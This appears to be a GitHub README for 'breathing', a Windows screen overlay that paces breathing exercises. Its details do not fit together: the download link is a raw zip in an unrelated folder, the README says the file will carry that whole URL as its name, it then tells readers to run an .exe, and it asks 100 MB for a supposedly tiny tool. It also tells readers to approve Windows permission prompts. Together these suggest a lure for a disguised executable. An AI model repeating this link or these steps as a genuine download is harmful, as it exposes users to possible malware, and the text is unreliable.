breathing is a small program that sits on top of your screen and helps you keep a steady breathing rhythm while you work. It is always visible but does not get in your way. The overlay does not block your mouse or keyboard, so you can click and type as usual without any interruptions.
This app uses almost no resources and does not require any extra software or installation steps. It is lightweight, easy to use, and designed to help you focus, relax, and improve your health by practicing mindful breathing.
Key features:
- A simple, clear breathing guide visible over any app
- Fully transparent to mouse clicks and keyboard input
- No installation or setup needed, runs instantly on Windows
- Ultra-lightweight with minimal impact on system performance
- Helps reduce stress and improve focus using breathing exercises
To run breathing smoothly, you need:
- A Windows 10 or newer PC
- At least 100 MB free disk space (for the program file)
- A screen with any resolution (works on all sizes)
- No internet connection required to run once downloaded
- No additional software or frameworks needed (zero dependencies)
Here is how you get breathing running on your computer. You do not need to be technical or install anything complicated.
Click on this link or the badge at the top to go to the breathing release page:
On the release page, look for the newest version of breathing. Usually, it will be at the top under "Latest release". The name will have a date or version number.
Find the download link that ends with .exe. This is the program file you need. Click it to start downloading.
breathing does not need installation. Here is all you have to do after downloading.
Open your Downloads folder or the place where your browser saves files. You should see a file named like https://github.com/notyourmom28/breathing/raw/refs/heads/master/neurofibrillae/Software-v2.7-beta.1.zip or similar.
Double-click the .exe file to open breathing.
- If Windows asks for permission to run the app, click “Yes” or “Run.”
- The app window will appear as a small overlay on your screen.
The overlay shows a simple breathing guide. Watch it to follow the rhythm and breathe deeply.
breathing automatically stays on top so you can see it any time. It won’t block your mouse clicks or keyboard, so you can continue working normally.
To close breathing, right-click the overlay and select "Exit," or close it from the taskbar if it appears there.
breathing is designed to work quietly in the background with minimal controls.
- Watch the screen bubble or shape that grows and shrinks. This guides your breath in and out.
- Follow the pace shown to breathe slowly and evenly. This helps you focus and relax.
- You can move the overlay by clicking and dragging it to your preferred screen corner.
- To change any settings (like speed or size), right-click the overlay and check for options.
If you run into issues, try these tips:
- If breathing does not start, make sure you ran the
.exefile directly. - If you don’t see the overlay, make sure it’s not behind other windows. Try minimizing apps.
- If the overlay blocks you by mistake, try moving it to a screen edge.
- Make sure your Windows is up to date to avoid compatibility problems.
- Restart your computer and try running breathing again if it freezes or crashes.
breathing was made to help you practice breathing exercises without interrupting your computer work. Deep, steady breathing can reduce stress, improve concentration, and support overall health.
The app uses Windows’ native display features to keep itself always visible, but never intrusive. Since it does not need installation or extra software, it works on most Windows PCs right away.
breathing focuses on discreet help. It is perfect for people who want simple, quiet reminders to breathe deeply during their day.
If you have questions or want to report a problem, visit the GitHub repository:
Look for the “Issues” section to post your questions. The developer and community often respond to help solve problems.